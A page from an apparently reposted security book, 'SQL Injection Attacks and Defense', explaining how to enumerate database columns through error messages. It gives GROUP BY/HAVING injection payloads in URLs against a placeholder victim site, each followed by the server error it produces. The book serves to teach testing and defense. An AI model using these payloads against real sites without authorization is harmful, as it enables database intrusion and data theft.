28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

44 Chapter 2 • Testing for <strong>SQL</strong> <strong>Injection</strong><br />

Application response:<br />

Server Error in '/' Application.<br />

Column 'products.productid' is invalid in the select list because it is not<br />

contained in an aggregate function <strong>and</strong> there is no GROUP BY clause.<br />

Description: An unh<strong>and</strong>led exception occurred during the execution of the<br />

current web request. Please review the stack trace for more information<br />

about the error <strong>and</strong> where it originated in the code.<br />

The HAVING clause is used in combination with the GROUP BY clause. It can also be<br />

used in a SELECT statement to filter the records that a GROUP BY returns. GROUP BY<br />

needs the SELECTed fields to be a result of an aggregated function or to be included in the<br />

GROUP BY clause. If the requirement is not met, the database sends back an error<br />

displaying the first column where this issue appeared.<br />

Using this technique <strong>and</strong> GROUP BY you can enumerate all the columns in a<br />

SELECT statement:<br />

http://www.victim.com/showproducts.aspx?category=bikes' GROUP BY productid<br />

having '1'='1<br />

Application response:<br />

Server Error in '/' Application.<br />

Column 'products.name' is invalid in the select list because it is not<br />

contained in either an aggregate function or the GROUP BY clause.<br />

Description: An unh<strong>and</strong>led exception occurred during the execution of the<br />

current web request. Please review the stack trace for more information<br />

about the error <strong>and</strong> where it originated in the code.<br />

In the preceding example, we included the previously discovered column productid in the<br />

GROUP BY clause. The database error disclosed the next column, name. Just keep appending<br />

columns to enumerate them all:<br />

http://www.victim.com/showproducts.aspx?category=bikes'<br />

GROUP BY productid,name having '1'='1<br />

Application response:<br />

Server Error in '/' Application.<br />

Column 'products.price' is invalid in the select list because it is not<br />

contained in either an aggregate function or the GROUP BY clause.<br />

Description: An unh<strong>and</strong>led exception occurred during the execution of the<br />

current web request. Please review the stack trace for more information<br />

about the error <strong>and</strong> where it originated in the code.<br />

Once you have enumerated the column names you can retrieve the values using the<br />

converting error technique that you saw earlier:

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!